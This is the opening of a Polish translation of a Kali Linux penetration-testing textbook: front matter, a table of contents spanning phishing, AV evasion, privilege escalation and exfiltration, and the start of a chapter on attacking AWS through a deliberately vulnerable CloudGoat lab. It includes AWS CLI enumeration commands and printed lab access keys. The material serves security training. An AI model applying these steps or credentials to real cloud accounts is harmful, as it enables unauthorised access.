Wydanie IV

Kali Linux i zaawansowane testy penetracyjne

Zostań ekspertem cyberbezpieczeństwa za pomocą Metasploit, Nmap, Wireshark i Burp Suite

Tytuł oryginału: Mastering Kali Linux for Advanced Penetration Testing: Apply a proactive approach to secure your cyber infrastructure and enhance your pentesting skills, 4th Edition

Tłumaczenie: Grzegorz Kowalczyk

ISBN: 978-83-283-9629-6

Copyright © Packt Publishing 2022. First published in the English language under the title 'Mastering Kali Linux for Advanced Penetration Testing - Fourth Edition – (9781801819770)'.

Polish edition copyright © 2023 by Helion S.A.

All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from the Publisher.

Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji.

Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli.

Autor oraz wydawca dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz wydawca nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce.

Drogi Czytelniku! Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres *https://helion.pl/user/opinie/kalit4* Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.

Helion S.A. ul. Kościuszki 1c, 44-100 Gliwice tel. 32 230 98 63 e-mail: *helion@helion.pl* WWW: *https://helion.pl* (księgarnia internetowa, katalog książek)

Printed in Poland.

• Kup książkę

- Poleć książkę
- Oceń książkę

Księgarnia internetowa
Lubię to! » Nasza społeczność

Spis treści

O autorze	11
O recenzencie	12
Przedmowa	13
Rozdział 1. Testy penetracyjne ukierunkowane na osiągnięcie celu	19
Różne typy aktorów zagrożeń cybernetycznych	20
Koncepcyjny przegląd testów bezpieczeństwa	21
Zmierzch klasycznych testów penetracyjnych, skanowania w poszukiwaniu podatności	
i działań zespołów Red Team	22
Testy penetracyjne ukierunkowane na osiągnięcie celu	24
Metodologia przeprowadzania testów	25
Wprowadzenie do systemu Kali Linux	27
Rola systemu Kali Linux w taktyce zespołów Red Team	29
Instalowanie i aktualizowanie systemu Kali Linux	29
Uruchamianie systemu Kali Linux z urządzenia przenośnego	30
Instalowanie systemu Kali Linux na Raspberry Pi 4	31
Instalowanie systemu Kali Linux w maszynie wirtualnej	32
Instalowanie aplikacji Docker	35
Instalowanie systemu Kali Linux w chmurze AWS	37
Kali na platformie Google Cloud Platform (GCP)	40
Kali Linux na platformie Android (telefony niezrootowane)	46
Dostosowywanie systemu Kali Linux	48
Konfigurowanie i dostosowywanie systemu Kali Linux	48
Zmiana domyślnego hasła użytkownika kali	49
Konfiguracja usług sieciowych i bezpiecznej komunikacji	49
Dostosowywanie ustawień serwera proxy	50
Zdalny dostęp za pośrednictwem bezpiecznej powłoki SSH	50

Przyspieszanie działania systemu Kali Linux Udostępnianie i współużytkowanie folderów z systemem operacyjnym hosta	51 51
Dostosowywanie systemu Kali Linux do własnych potrzeb przy użyciu skryptów	50
powioki pasn Budowania śradowiska tostowago	53
Instalowanie zdefiniowanych celów	54
CloudGoat	65
Zarzadzanie testami nenetracvinymi przy użyciu pakietu Faraday	69
Podsumowanie	71
Rozdział 2. OSINT oraz rozpoznanie pasywne	72
Podstawowe zasady przeprowadzania rozpoznania	73
Biały wywiad (OSINT)	74
Ofensywny biały wywiad	74
Zbieranie informacji o domenach	76
Maltego	77
OSRFramework	80
Archiwa sieci WWW	81
Pakiet Passive Total	82
Scraping	83
Pozyskiwanie nazw kont uzytkownikow i adresow e-mail	83
Zbieranie informacji o uzytkownikach Muszukiwarki siosiowo	04 95
Inne narzedzia komercuine	00
Google Hacking Database	90
Używanie zaawansowanych operatorów Google	91
Serwery szybkiej wymiany danych	93
Defensywny biały wywiad	94
Analiza zagrożeń	98
Profilowanie użytkowników pod katem przygotowywania listy haseł	99
Tworzenie własnych słowników do łamania haseł	100
Zastosowanie programu CeWL do mapowania witryny internetowej	101
Pozyskiwanie listy słów z serwisu Twitter przy użyciu programu Twofi	101
Podsumowanie	102
Rozdział 3. Aktywne rozpoznawanie zewnętrznych	404
i wewnętrznych srodówisk celu	104
Trudne do wykrycia techniki skanowania	106
Modyfikowanie źródłowych adresów IP	
i dostosowywanie ustawień używanych narzędzi	106
Modyfikowanie parametrów pakietów	107
Uzywanie serwerów proxy i sieci anonimowych	109
Rozpoznanie DNS i mapowanie sieci	113
Polecenie whois (po wejsciu w zycie GDPK) Wielezwietwienie komplekeeuweb aplikas!!	114
wykorzystywanie kompieksowych apiikacji wchomogojących przeprowadzania roznaczania	444
wspomayających przeprowadzanie rozpoznania Framowork rocon na	114
Protokół IPv6 — wybrane narzedzia	120
Manowanie trasy do celu	120
Maportanic rasy do cela	121

4

Identyfikowanie zewnętrznej infrastruktury sieciowej	124
Mapowanie sieci poza zaporą sieciową	125
Identyfikacja systemów IDS/IPS	127
Wyliczanie hostów	127
Wykrywanie aktywnych hostów	128
Wykrywanie otwartych portów, systemu operacyjnego oraz działających usług	129
Skanowanie portów	129
Tworzenie własnego skanera portów przy użyciu programu netcat	130
Identyfikacja systemu operacyjnego zdalnego hosta	131
Wykrywanie usług działających na zdalnych hostach	132
Skanowanie dużych środowisk celu	133
Wykorzystanie danych DHCP	134
Wykrywanie oraz identyfikacja hostów	
w wewnętrznych sieciach środowiska celu	135
Wbudowane polecenia konsolowe systemu Windows	136
Rozgłoszenia ARP	136
Wykrywanie hostów w sieci za pomocą pakietów ping	138
Zastosowanie skryptów do łączenia skanów	
z użyciem programów masscan i nmap	139
Wykorzystanie protokołu SNMP	141
Pozyskiwanie informacji o kontach użytkowników Windows	
za pośrednictwem sesji SMB	143
Identyfikacja udziałów sieciowych	144
Rozpoznawanie serwerów w domenie Active Directory	145
Pozyskiwanie danych ze środowiska Microsoft Azure	146
Zastosowanie narzędzi złożonych (Legion)	149
Wykorzystanie uczenia maszynowego do przeprowadzania rozpoznania	150
Podsumowanie	152
Rozdział 4. Wyszukiwanie podatności i luk w zabezpieczeniach	154
Troche nomenklatury	155
Lokalne i sieciowe bazy podatności i luk w zabezpieczeniach	156
Skanowanie w poszukiwaniu podatności przy użyciu programu Nmap	160
Wprowadzenie do skryptów LUA	162
Dostosowywanie skryptów NSE do własnych potrzeb	162
Skanery podatności aplikacji sieciowych	164
Wprowadzenie do skanera Nikto	165
Dostosowywanie skanera Nikto do własnych potrzeb	166
OWASP ZAP	168
Skanery podatności dla aplikacji mobilnych	170
Skaner podatności OpenVAS	172
Dostosowywanie skanera OpenVAS do własnych potrzeb	175
Komercyjne skanery podatności	175
Nessus	175
Qualys	177
Specjalizowane skanery podatności	178
Modelowanie zagrożeń	179

5

Rozdział 5. Bezpieczeństwo fizyczne i metody socjotechniczne	183
Metodologia przeprowadzania ataków — taktyki, techniki i procedury	185
Technologia	186
Ludzie	187
Ataki z fizycznym dostępem do konsoli	189
Programy samdump2 i chntpw	189
Ułatwienia dostępu — opcja Sticky Keys	193
Tworzenie złośliwych urządzeń fizycznych	194
Ataki z wykorzystaniem urządzeń mikroprocesorowych	196
Pakiet SET	200
Ataki socjotechniczne	203
Ataki na witryny internetowe — atak ze zbieraniem poświadczeń logowania	204
Ataki na witryny internetowe — ataki złożone	207
Ataki z wykorzystaniem plików HTA	208
Atak ze wstrzykiwaniem alfanumerycznego kodu shellcode	
z powłoki Powershell	210
Ukrywanie plików wykonywalnych oraz maskowanie adresu URL napastnika	211
Eskalowanie ataków przy użyciu przekierowań DNS	213
Ataki typu spear phishing	214
Prowadzenie kampanii phishingowej z wykorzystaniem pakietu Gophish	218
Przeprowadzanie ataku phishingowego z użyciem pakietu Gophish	221
Wykorzystanie serwisów masowej wymiany danych w kampanii phishingowej	
do dostarczenia ładunku	225
Podsumowanie	226
Rozdział 6. Ataki na sieci WiFi i połączenia Bluetooth	227
Wprowadzenie do technologii bezprzewodowych i połączeń Bluetooth	228
Konfigurowanie systemu Kali Linux do przeprowadzania ataków	
na sieci bezprzewodowe	229
Przeprowadzanie rozpoznania w sieciach bezprzewodowych	229
Omijanie zabezpieczenia sieci z ukrytym identyfikatorem SSID Omijanie zabezpieczenia sieci z filtrowaniem adresów MAC	233
oraz otwartym uwierzytelnianiem	236
Atakowanie sieci z szvfrowaniem WPA i WPA2	238
Ataki typu brute-force	238
Atakowanie routerów sięci bezprzewodowych przy użycju programu Reaver	242
Ataki typu DoS na sieci bezprzewodowe	243
Ataki na sieci WLAN z szvfrowaniem WPA/WPA2-Enterprise	246
Program bettercap	249
Atak typu Evil Twin przy użyciu programu Wifiphisher	250
WPA3	253
Ataki przez Bluetooth	254
Podsumowanie	257

Rozdział 7. Wykorzystywanie podatności i luk w zabezpieczeniach aplikacji internetowych

w zabezpieczeniach aplikacji internetowych	258
Metodologia ataków na aplikacje sieciowe	259
Jak myśli napastnik?	261
Przeprowadzanie rozpoznania witryny internetowej	263
Wykrywanie zapór WAF oraz systemów równoważenia obciążenia	265
Tworzenie sygnatur aplikacji internetowych i systemów CMS	267
Tworzenie lustrzanej kopii strony internetowej z poziomu wiersza poleceń	270
Serwery proxy po stronie klienta	271
Burp Proxy	271
Przeszukiwanie sieci i ataki typu brute-force na struktury katalogów	277
Skanery podatności wykrywające podatności określonych usług i aplikacji	278
Ataki specyficzne dla określonych aplikacji	279
Ataki typu brute-force na poświadczenia logowania	279
Wstrzykiwanie poleceń systemu operacyjnego	
przy użyciu narzędzia commix	280
Sqlmap	281
Wstrzykiwanie kodu XML	284
Ataki typu bit-flipping	286
Utrzymywanie dostępu za pomocą powłok webshell	289
Pakiet BeEF	293
Instalowanie i konfigurowanie pakietu BeEF	294
Praca z pakietem BeEF	298
Uzywanie pakietu BeEF jako tunelującego serwera proxy	302
Podsumowanie	304
Rozdział 8. Wykorzystywanie podatności i luk w zabezpieczeniach chmury	305
Wprowadzenie do usług chmurowych	306
Wykrywanie i wykorzystywanie podatności i luk	
w zabezpieczeniach aplikacji w instancjach EC2	310
Testowanie błędnej konfiguracji zasobników S3	321
Wykorzystanie błędów w prawach dostępu	325
Zaciemnianie logów CloudTrail	335
Podsumowanie	335
Rozdział 9. Omijanie mechanizmów zabezpieczających	337
Omijanie zabezpieczeń wprowadzanych przez mechanizm NAC	338
Weryfikacja przed uzyskaniem dostępu do sieci	339
Weryfikacja po uzyskaniu dostępu do sieci	342
Omijanie zabezpieczeń działających na poziomie aplikacji	342
Zastosowanie protokołu SSH do tunelowania połączeń przez zapory sieciowe	
działające po stronie klienta	342
Omijanie programów antywirusowych przy użyciu różnych narzędzi	347
Korzystanie z pakietu Veil Framework	349
Używanie programu Shellter	354
Metody bezplikowe i omijanie programów antywirusowych	358

Omijanie zabezpieczeń systemu operacyjnego Windows	358
UAC — kontrola konta użytkownika	359
Zaciemnianie kodu powłoki PowerShell i wykorzystywanie technik bezplikowych	364
Inne zabezpieczenia systemu windows	36/
Podsumowanie	370
Rozdział 10. Wykorzystywanie podatności i luk w zabezpieczeniach	371
Pakiet Metasploit	371
Biblioteki	372
Interfejsy	373
Moduły	373
Tworzenie i konfiguracja bazy danych	375
Atakowanie celów przy użyciu pakietu Metasploit Framework	380
Atakowanie pojedynczych systemów z uzyciem odwróconej powioki	380
Atakowanie wielu systemów	
przy użyciu plików zasobów pakietu Metasploit Framework	385
Używanie publicznych exploitów	386
Wyszukiwanie i weryfikowanie publicznie dostępnych exploitów	386
Kompilowanie i uzywanie exploitów	387
I worzenie exploitow dla systemu Windows	389
Wykrywanie podatności i luk w zabezpieczeniach przy użyciu fuzzingu	391
Debugowanie i replikowanie awarii	394
Sterowanie działaniem aplikacji	397
laentyfikacja niepoprawnych znakow i generowanie snelikodu	398
Uzyskiwanie dostępu do powioki	400
Framework PowerSnell Empire	401
Pousumowanie	405
Rozdział 11. Powłamaniowa eksploracja środowiska celu	407
Eksploracja skompromitowanego systemu lokalnego	408
Przeprowadzenie szybkiego rozpoznania skompromitowanego systemu	409
Wyszukiwanie i pobieranie wrażliwych danych — plądrowanie celu	410
Narzędzia wspomagające powłamaniową eksplorację systemu	414
Eskalacja pozioma i atakowanie innych systemów	423
Kompromitowanie relacji zaufania między domenami oraz udziałów sieciowych	424
PsExec, WMIC i inne narzędzia	426
Eskalacja pozioma z uzyciem usług	431
Pivoting i przekierowywanie portów	431
Podsumowanie	434
Rozdział 12. Podnoszenie uprawnień	435
Typowa metodologia podnoszenia uprawnień	435
Eskalacja uprawnien od poziomu użytkownika domeny	
do poziomu administratora systemu	437
Eskalacja uprawnień w systemie lokalnym	439
Podnoszenie uprawnień z poziomu administratora na poziom systemu	110
	440

8

Ataki pozwalające na zbieranie poświadczeń i podnoszenie uprawnień Sniffery haseł Responder Przeprowadzanie ataków MITM na LDAP za pośrednictwem protokołu TLS Eskalowanie uprawnień w Active Directory Ataki typu Golden Ticket na protokół Kerberos Podsumowanie	444 446 449 453 459 464
Rozdział 13. Sterowanie i kontrola	466
Utrzymywanie trwałego dostępu Używanie agentów persystencji Używanie programu Netcat jako agenta persystencji Zastosowanie programu schtasks do konfigurowania trwałych zadań Utrzymywanie trwałego dostępu przy użyciu pakietu Metasploit Używanie modułu persistence Tworzenie samodzielnego trwałego agenta z wykorzystaniem pakietu Metasploit Utrzymywanie dostępu z wykorzystaniem usług chmurowych do przechowywania plików Frontowanie domen Wykorzystywanie Amazon CloudFront do operacji C2 Eksfiltracja danych Korzystanie z istniejących usług systemowych (Telnet, RDP i VNC) Eksfiltracja danych z wykorzystaniem protokołu ICMP Ukrywanie śladów ataku Podsumowanie	466 467 468 472 473 473 473 475 476 487 488 492 493 494 496 498
Rozdział 14. Urządzenia wbudowane i hakowanie RFID	499
Systemy wbudowane i architektura sprzętu Podstawowa architektura systemu wbudowanego Rozpakowywanie i aktualizacja oprogramowania firmware Pakiet RouterSploit Framework UART Klonowanie znaczników RFID przy użyciu emulatora ChameleonMini Inne narzędzia Podsumowanie	500 500 504 508 512 515 519 520

10

Wykorzystywanie podatności i luk w zabezpieczeniach chmury

Szybkie rozpowszechnienie usług chmurowych znacząco zmieniło sposób, w jaki firmy i organizacje gromadzą, przetwarzają i przechowują dane użytkowników końcowych. Niektóre firmy automatycznie zakładają, że dostawcy chmury zadbają o ich cyberbezpieczeństwo, ale każdy użytkownik chmury, czy to osoba fizyczna, czy firma, musi być świadomy, że jest to wspólna odpowiedzialność. Co ciekawe, bardzo często zdarza się, że pentesterzy po uzyskaniu dostępu do sieci wewnętrznej firmy są przekonani, że testy mają się ku końcowi i że mogą spokojnie przystąpić do eksplorowania sieci środowiska celu.

W tym rozdziale omówimy różne rodzaje ataków, które pentesterzy mogą przeprowadzać po zdobyciu przyczółku w środowisku chmury. W szczególności zajmiemy się usługami chmurowymi AWS (ang. *Amazon Web Services*), zidentyfikujemy wiele procesów pozwalających na obejście kontroli bezpieczeństwa i pokażemy, jak to zrobić przy użyciu narzędzi dostępnych w systemie Kali Linux.

W tym rozdziale omówimy szereg tematów związanych z przeprowadzaniem ataków na niepoprawnie skonfigurowane usługi chmurowe, między innymi następujące zagadnienia:

- Podstawy korzystania z usług w chmurze.
- Wykrywanie i wykorzystywanie podatności i luk w zabezpieczeniach aplikacji w instancjach EC2.

- Pozyskiwanie kluczy AWS IAM.
- Testowanie niepoprawnej konfiguracji zasobników Amazon S3 (ang. S3 bucket).
- Wykorzystywanie błędów w prawach dostępu.
- Zaciemnianie logów CloudTrail.

Omówimy również podstawowe zasady działania usług w chmurze oraz różne modele ich wdrażania.

Wprowadzenie do usług chmurowych

Chmura obliczeniowa, ogólnie rzecz biorąc, to udostępnianie konsumentom na żądanie usług związanych z zasobami obliczeniowymi, w szczególności udostępnianie pamięci masowej i mocy obliczeniowej. Głównymi cechami chmury obliczeniowej są dostęp na żądanie do zasobów sieciowych, obsługa wielu podmiotów, łączenie zasobów, elastyczność, skalowalność i mierzalność usług. W tabeli 8.1 zamieszczamy szczegóły dotyczące czterech modeli wdrażania oferowanych przez dostawców usług w chmurze. Jeżeli podatności i luki w zabezpieczeniach któregoś z tych modeli wdrażania zostaną pomyślnie wykorzystane i nawiązane zostanie trwałe połączenie, pentester będzie mógł je wykorzystać do osiągnięcia założonego celu.

Model wdrażania	Opis
Chmura prywatna (ang. <i>private cloud</i>)	Infrastruktura chmury jest przeznaczona na wyłączność dla konkretnej organizacji; podobna do tradycyjnych centrów danych, ale hostowana w chmurze.
Chmura społecznościowa (ang. community cloud)	Infrastruktura chmury jest współdzielona dla określonej społeczności konsumentów z organizacji, które mają wspólne interesy.
Chmura publiczna (ang. <i>public cloud</i>)	Infrastruktura chmury, która jest dostarczana dla ogółu użytkowników końcowych.
Chmura hybrydowa (ang. <i>hybrid cloud</i>)	Infrastruktura chmury, która łączy w sobie dwa powyższe modele; zazwyczaj jest to połączenie chmury prywatnej i publicznej, chmury lokalnej i prywatnej lub chmury lokalnej i publicznej.

Tabela 8.1. Modele wdrażania usług chmurowych

Przed zaplanowaniem rodzaju testów, jakie mogą być konieczne do przeprowadzenia w danym środowisku klienta, powinieneś poznać kilka podstawowych modeli usług w chmurze:

Model usługi	Opis
Oprogramowanie jako usługa (SaaS — ang. <i>Software as Service</i>)	W tym modelu dostawca chmury dostarcza organizacjom oprogramowanie, za które płacą w miarę upływu czasu. Niektóre przykłady dostawców usług w chmurze SaaS to Dropbox, G Suite, Microsoft Office 365, Slack i Citrix Content Collaboration.
Platforma jako usługa (PaaS — ang. <i>Platform as</i> <i>Service</i>)	W tym modelu dostawca chmury dostarcza organizacjom zarówno sprzęt, jak i oprogramowanie. Przykładami takich usług są AWS Elastic Beanstalk, Heroku, Windows Azure (najczęściej używana jako PaaS), Force.com, OpenShift i Apache Stratos.
Infrastruktura jako usługa (IaaS — ang. <i>Infrastructure as Servic</i> e)	W tym modelu dostawca chmury dostarcza organizacjom zasoby pamięci masowej, zasoby sieciowe i rozwiązania wirtualizacyjne. Przykładami takich usług są Amazon Web Services EC2, Rackspace, Google Compute Engine (GCE) i Digital Ocean.

Tabela	8.2.	Modele	usług	w	chmurze
--------	------	--------	-------	---	---------

Na rysunku 8.1 pokazano, jak zmienia się odpowiedzialność za bezpieczeństwo w zależności od modeli usług.

Poznałeś już podstawowe pojęcia związane z usługami w chmurze, zatem możemy przystąpić do skonfigurowania naszego laboratorium AWS, w którym skonfigurujemy celowo podatne instancje usług. Zrobimy to przy użyciu narzędzia CloudGoat AWS, które zainstalowaliśmy w rozdziale 1., "Testy penetracyjne ukierunkowane na osiągnięcie celu". Pamiętaj, że korzystanie z usług AWS będzie się wiązało z dodatkowymi kosztami, nawet jeżeli pakiet CloudGoat pozostanie nieużywany po wdrożeniu podatnych instancji. Dodatkowo zainstalowanie i skonfigurowanie takich podatnych instancji otworzy Twoją infrastrukturę chmury na różne ataki.

Scenariusze ataków na usługi w chmurze rozpoczynają się od wstępnej fazy rekonesansu, w której napastnicy badają dostępne repozytoria serwisów takich jak GitHub, Pastebin i inne lokalizacje wymiany i przechowywania danych środowiska celu, z których mogą potencjalnie pozyskać sekrety, klucze dostępu i inne wrażliwe informacje. Poniżej przedstawiono opcje programu CloudGoat pozwalające na skonfigurowanie i przećwiczenie ataków specyficznych dla usług AWS. Aby zrozumieć poszczególne opcje, możesz uruchomić obraz Dockera przez wpisanie w oknie terminala polecenia docker run -it rhinosecuritylabs/ Cloudgoat:latest. Kiedy na ekranie pojawi się powłoka CloudGoat, powinieneś uruchomić w niej polecenie ./cloudgoat help, co powinno wyświetlić pięć opcji pokazanych na rysunku 8.2.

Rysunek 8.2. Uruchamianie programu CloudGoat z poziomu obrazu Dockera

Jeżeli podczas uruchamiania pojawią się jakiekolwiek komunikaty o błędach związanych z pakietem Terraform, takie jak OSError: [Errno 8] Exec format error: "terraform" (błąd formatu) lub Terraform not found (pakiet Terraform nie został znaleziony), możesz rozwiązać ten problem w poniższych krokach, przez zastąpienie domyślnego pakietu Terraform jego najnowszą wersją:

- 1.W oknie terminala uruchom polecenie wget https://releases.hashicorp.com/ terraform/1.0.10/terraform_1.0.10_linux_amd64.zip.
- 2.Rozpakuj plik terraform_1.0.10_linux_amd64.zip.
- 3.Wykonaj polecenie mv /usr/bin/terraform terraform_old.
- 4 Wykonaj polecenie mv terraform /usr/bin/.

Poniżej omówimy pokrótce pierwsze cztery opcje:

- config opcja pozwala na zarządzanie różnymi aspektami instalacji pakietu CloudGoat, w szczególności "białą listą" uprawnionych adresów IP (ang. *IP whitelist*) oraz naszym domyślnym profilem AWS:
 - whitelist ze względu na potencjalnie podatne na ataki zasoby wdrażane w infrastrukturze AWS zawsze zaleca się, aby umieścić na białej liście adres IP, z którego będą przeprowadzane testy. Polecenie whitelist zapisuje adres IP lub zakresy adresów IP w pliku ./whitelist.txt w katalogu projektu bazowego. Jeżeli dodasz argument -auto, narzędzie to automatycznie wykona odpowiednie zapytanie sieciowe. Aby odszukać swój adres IP, wykonaj polecenie curl ifconfig.co, a następnie utwórz plik białej listy i umieść w niej rezultat działania tego polecenia.
 - profile pakiet CloudGoat domyślnie będzie wymagał ręcznego skonfigurowania profilu AWS. Po uruchomieniu tego polecenia zostaniesz

poproszony o podanie szczegółów profilu, takich jak sekret i klucz dostępu AWS. Wprowadzone dane będą przechowywane w pliku *config.yml* w katalogu projektu. W razie potrzeby napastnik może utworzyć własny plik *config.yml*.

- create jest to opcja, która wdraża nowy scenariusz na konto AWS. Jeżeli spróbujesz dwukrotnie wdrożyć dany scenariusz, CloudGoat zniszczy istniejący scenariusz i zastąpi go nowym.
- list ta opcja wyświetla wszystkie wdrożone scenariusze i scenariusze niezainstalowane oraz pozwala na wyświetlenie dodatkowych informacji o konkretnym wdrożonym scenariuszu.
- destroy powoduje wyłączenie i usunięcie wszystkich zasobów, które zostały utworzone przez CloudGoat.

Aby skonfigurować pakiet CloudGoat dla określonego profilu powinieneś w oknie terminala uruchomić polecenie ./cloudgoat.py config profile <*nazwa profilu*>, tak jak pokazano w przykładzie poniżej:

./cloudgoat config profile masteringkali

Bardzo ważne jest, abyś skonfigurował zasoby AWS jako dostępne tylko dla adresu IP, z którego będziesz się łączył:

```
./cloudgoat.py config whitelist -auto
```

W następnej sekcji wdrożymy podatną na ataki aplikację internetową, a następnie spróbujemy wykorzystać jej podatności i luki w zabezpieczeniach do przeprowadzenia ataku na aplikację w AWS. Aby to zrobić, wykonaj najpierw polecenie ./cloudgoat create rce_web_ app --profile masteringkali. Spowoduje to rozpoczęcie wdrażania przez CloudGoat odpowiednich zasobów chmury na Twoje konto AWS. Po zakończeniu tego procesu powinieneś zobaczyć potwierdzenie ze szczegółami dostępu do chmury, jak pokazano na rysunku 8.3.

./cloudgoat.py create rce web app --profile masteringkali

```
bash-5.0# ./cloudgoat.py create rce_web_app --profile masteringkali
Loading whitelist.txt...
A whitelist.txt file was found that contains at least one valid IP address or ra
nge.
You already have an instance of rce_web_app deployed. Do you want to destroy and
recreate it (y) or cancel (n)? [y/n]: y
No terraform.tfstate file was found in the scenario instance's terraform directo
ry, so "terraform destroy" will not be run.
Successfully destroyed rce_web_app_cgiddgzwz605u8.
Scenario instance files have been moved to /usr/src/cloudgoat/trash/rce_web_app_
cgiddgzwz605u8
Now running rce_web_app's start.sh...
```

Rysunek 8.3. Wdrażanie aplikacji rce_web_app za pomocą pakietu CloudGoat i naszego profilu AWS

Po pomyślnym zakończeniu wdrażania aplikacji internetowej i zasobów wspierających powinieneś zobaczyć podsumowanie podobne do przedstawionego na rysunku 8.4.

```
Apply complete! Resources: 45 added, 0 changed, 0 destroyed.

Outputs:

cloudgoat_output_aws_account_id = 492277152251

cloudgoat_output_lara_access_key_id = AKIAXFHQBHH54IYIECVH

cloudgoat_output_lara_secret_key = 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

cloudgoat_output_mcduck_access_key_id = AKIAXFHQBHH542MNB2X5

cloudgoat_output_mcduck_secret_key = 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

[cloudgoat] terraform apply completed with no error code.

[cloudgoat] terraform output completed with no error code.

[cloudgoat] Output file written to:

/usr/src/cloudgoat/rce_web_app_cgid01nzhbthbc/start.txt
```

Rysunek 8.4. Wdrożenie podatnej na ataki aplikacji zakończyło się pomyślnie

Do przeprowadzenia testu penetracyjnego na wdrożonym scenariuszu możesz wykorzystać klucz dostępu i tajny klucz wygenerowany przez CloudGoat. W tradycyjnym podejściu możesz teraz użyć skanerów podatności, takich jak Scout Suite lub Prowler.

Wykrywanie i wykorzystywanie podatności i luk w zabezpieczeniach aplikacji w instancjach EC2

Pierwszym krokiem jest zainstalowanie w systemie Kali Linux klienta AWS. Aby to zrobić, powinieneś w oknie terminala uruchomić polecenie sudo apt install awscli. Po zainstalowaniu klienta możemy wykorzystać jego narzędzia do sprawdzenia uprawnień, jakie daje nam aktualne API i tajny klucz.

Skonfiguruj profil AWS przez wykonanie w oknie terminala polecenia sudo aws configure --profile <*nazwa profilu*>. W naszym przykładzie skonfigurujemy dwa profile:

- 1. W celach demonstracyjnych zmienimy sugerowaną nazwę profilu Lara (patrz rysunek 8.4) na RCE (ang. *Remote Code Execution*; zdalne wykonywanie kodu) z kluczem dostępu i kluczem tajnym.
- 2. Utworzymy profil o nazwie mcduck zgodnie z sugestią CloudGoat z kluczami wygenerowanymi podczas wdrażania scenariusza.

sudo aws configure --profile <nazwa profilu>

310

Aby potwierdzić, że nasze profile działają, możesz wyświetlić listę zasobników Amazon S3 (ang. *Simple Storage Service*), do których te profile mają dostęp, poniższym poleceniem. Przykładowe wyniki działania takiego polecenia pokazano na rysunku 8.5.

```
sudo aws s3 ls --profile <nazwa profilu>
```

(kali@kali)-[~/cloud/cloudgoat]
\$\square s3 ls --profile RCE
2021-08-13 09:08:54 cg-keystore-s3-bucket-cgid01nzhbthbc
2021-08-13 09:08:54 cg-logs-s3-bucket-cgid01nzhbthbc
2021-08-13 09:08:54 cg-secret-s3-bucket-cgid01nzhbthbc

Rysunek 8.5. Konfigurowanie profilu AWS w systemie Kali Linux

Pamiętaj, że aby szybko wyszukać niepoprawne konfiguracje lub nadmiar uprawnień, możesz wykorzystać zautomatyzowane narzędzia, takie jak Scout Suite i Prowler. Program Scout Suite to narzędzie typu open source do audytu bezpieczeństwa w chmurze, które działa w środowiskach wielochmurowych, takich jak AWS, GCP i Azure. Warto wspomnieć, że narzędzie to jest również dostępne w fazie alfa dla chmur Oracle i Alibaba Cloud. Program jest napisany w języku Python i wykorzystuje API do zbierania szczegółów konfiguracji i określenia powierzchni ataku dla danego środowiska chmurowego. Projekt jest aktywnie rozwijany przez NCC Group, która oferuje także komercyjną wersję tego narzędzia. Scout można zainstalować w systemie Kali Linux przez sklonowanie repozytorium i zainstalowanie zależności. Aby to zrobić, powinieneś w oknie terminala uruchomić następującą sekwencję poleceń:

```
sudo git clone https://github.com/nccgroup/ScoutSuite
cd ScoutSuite
sudo pip3 install -r requirements.txt
sudo ./setup.py install
sudo scout aws --profile <nazwa profilu>
```

Rysunek 8.6 przedstawia uruchomienie narzędzia do audytu bezpieczeństwa Scout w AWS przy użyciu wybranego profilu.

[(kali⊛kali)-[~/cloud/prowler] [\$ sudo scout aws profile RCE	101
2021-08-13 09:33:53 kali scout[31771] INFO Launching Scou	it
2021-08-13 09:33:53 kali scout[31771] INFO Authenticating	to cloud provider
2021-08-13 09:33:55 kali scout[31771] INFO Gathering data	from APIs
2021-08-13 09:33:55 kali scout[31771] INFO Fetching resou	irces for the ACM service
2021-08-13 09:33:55 kali scout[31771] INFO Fetching resou	rces for the Lambda service
2021-08-13 09:33:56 kali scout[31771] INFO Fetching resou	rces for the CloudFormation service
2021-08-13 09:33:56 kali scout[31771] INFO Fetching resou	rces for the CloudTrail service
2021-08-13 09:34:01 kali scout[31771] INFO Fetching resou	rces for the CloudWatch service
2021-08-13 09:34:02 kali scout[31771] INFO Fetching resou	rces for the Config service
2021-08-13 09:34:02 kali scout[31771] INFO Fetching resou	irces for the Direct Connect service
2021-08-13 09:34:02 kali scout[31771] INFO Fetching resou	rces for the DynamoDB service
2021-08-13 09:34:03 kali scout[31771] INFO Fetching resou	irces for the EC2 service
2021-08-13 09:34:03 kali scout[31771] INFO Fetching resou	rces for the EFS service
2021-08-13 09:34:03 kali scout[31771] INFO Fetching resou	rces for the ElastiCache service
2021-08-13 09:34:04 kali scout[31771] INFO Fetching resou	rces for the ELB service
2021-08-13 09:34:04 kali scout[31771] INFO Fetching resou	rces for the ELBv2 service

Rysunek 8.6. Uruchamianie programu Scout w AWS

Po zakończeniu skanowania Scout tworzy wynikowy raport HTML w tym samym folderze, w którym został uruchomiony. Po wyświetleniu raportu możesz przeglądać błędne konfiguracje i wykryte podatności związane z profilem, który został przeskanowany. Wygląd przykładowego raportu jest pokazany na rysunku 8.7.

→ C û ③ file:///home/kali/cloud	l/prowler/scoutsuite-report/aws	-RCE.html	🖾 🕁	lii\ C
li Linux 🖹 Kali Training 🖹 Kali Tools 🖹 Kali Forum	s 📓 Kali Docs 🕟 NetHunter 🖉	Offensive Security 🎵 MS	FU 🦟 Exploit-DB 🦟 GHDB	
Scout Analytics • Compute • Containe	rs ▼ Database ▼ Managemen	t ▼ Messaging ▼ Networ	k▼ Security▼ Storage▼	Filters 🔹 🌣 🝷
ELBV2	0	5	0	0
EMR	0	0	0	0
IAM	0	36	4	4
💿 КМЗ	0	1	0	0
RDS	0	8	0	0
RedShift	0	6	0	0
Route53	0	3	0	0
0 53	3	18	3	15
Secrets Manager	0	0	0	0
• SES	0	4	0	0
SNS	0	7	0	0
